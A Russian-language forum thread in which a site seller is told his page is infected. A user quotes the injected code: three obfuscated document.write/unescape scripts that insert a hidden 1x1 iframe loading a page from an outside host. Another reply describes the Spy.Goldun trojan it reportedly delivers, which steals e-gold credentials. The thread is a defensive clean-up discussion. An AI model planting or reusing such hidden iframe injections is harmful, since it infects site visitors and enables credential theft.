Продам сайт с доменом telmebiz.info

Осторожнее. На сайте вирусы.

shav явно лукавит, на сайте не было и нет вирусов

<!-- o65 --><Script Language='Javascript'>

<!--

document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%

3A%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%

6D%70%6C%61%74%65%73%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%

72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%7

2%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66

%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));

//-->

</Script> <!-- c65 --><Script Language='Javascript'>

<!--

document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A

%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%

70%6C%61%74%65%73%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D

%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%2

0%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));

//-->

</Script><Script Language='Javascript'>

<!--

document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A

%2F%2F%77%77%77%2E%67%70%74%2D%70%61%6C%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%74%65%6D%7

0%6C%61%74%65%73%2F%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%

22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%

6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));

//-->

</Script>

Вот эта хрень в коде на сайте. ТС, убери ее. Это вирус

а можно поинтересоваться, чем он вредит, какие функции выполняет?

я даже и не знал!

Данный код загружает на компьютер пользователя троян Spy.Goldun

Goldun - крадёт идентификационную информацию e-gold.

Действия:

Копирует себя как %System%wmedia16.exe.

Создаёт значение "Shell" = "%Windir%wmedia16.exe" в HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run

Следит за окнами IE, пытается перехватить страницы из списка:

e-gold.com/acct/acct.asp

e-gold.com/acct/accountinfo.asp

e-gold.com/acct/login.html

Спасибо за информацию!

Код удалён.

ТС, измени пароль к фтп, где сайт лежит. А то будешь удалять эту хрень каждый день)))

Изменить то я изменю, но вот никак не пойму, каким образом этот код может опять появиться на главной странице?

Таким образом, что твои пароли от ftp уже ушли комуто. Поставили один раз, если не проверишь свою систему на трояны и не поменяешь пароли, то обязательно поставят еще раз.